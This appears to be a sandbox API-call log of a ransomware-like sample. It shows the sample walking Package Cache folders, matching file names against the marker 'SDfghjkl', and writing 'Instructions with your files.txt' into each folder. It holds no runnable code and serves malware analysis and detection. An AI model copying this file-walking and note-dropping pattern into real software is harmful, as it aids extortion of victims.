[0132.013] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.013] CloseHandle (hObject=0x110) returned 1
[0132.013] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.013] GetProcessHeap () returned 0x810000
[0132.013] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.014] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
[0132.014] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 75
[0132.014] GetProcessHeap () returned 0x810000
[0132.014] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned 77
[0132.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\.") returned 77
[0132.014] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\..") returned 78
[0132.014] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458c9a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Instructions with your files.txt") returned 108
[0132.014] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.014] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 85
[0132.014] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.014] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 92
[0132.014] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch="SDfghjkl") returned 0x0
[0132.014] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0132.014] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Instructions with your files.txt") returned 108
[0132.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.014] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.015] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.015] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.016] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.016] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.016] CloseHandle (hObject=0x110) returned 1
[0132.016] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.016] GetProcessHeap () returned 0x810000
[0132.016] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.016] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
[0132.016] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 86
[0132.016] GetProcessHeap () returned 0x810000
[0132.016] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.016] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned 88
[0132.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.016] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\.") returned 88
[0132.016] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.016] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\..") returned 89
[0132.017] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b2b00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.017] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.017] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 95
[0132.017] GetProcessHeap () returned 0x810000
[0132.017] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.017] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned 97
[0132.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.017] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\.") returned 97
[0132.017] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\..") returned 98
[0132.017] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b2b00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.017] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.017] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 121
[0132.017] GetProcessHeap () returned 0x810000
[0132.017] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.017] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned 123
[0132.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.017] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\.") returned 123
[0132.017] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.017] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\..") returned 124
[0132.017] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.018] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 130
[0132.018] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.018] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b2b00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.018] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 154
[0132.018] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.018] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.018] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 150
[0132.018] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.018] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.018] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 154
[0132.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.018] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.019] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.019] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.019] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.019] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.019] CloseHandle (hObject=0x118) returned 1
[0132.019] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.019] GetProcessHeap () returned 0x810000
[0132.019] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.019] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0132.019] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
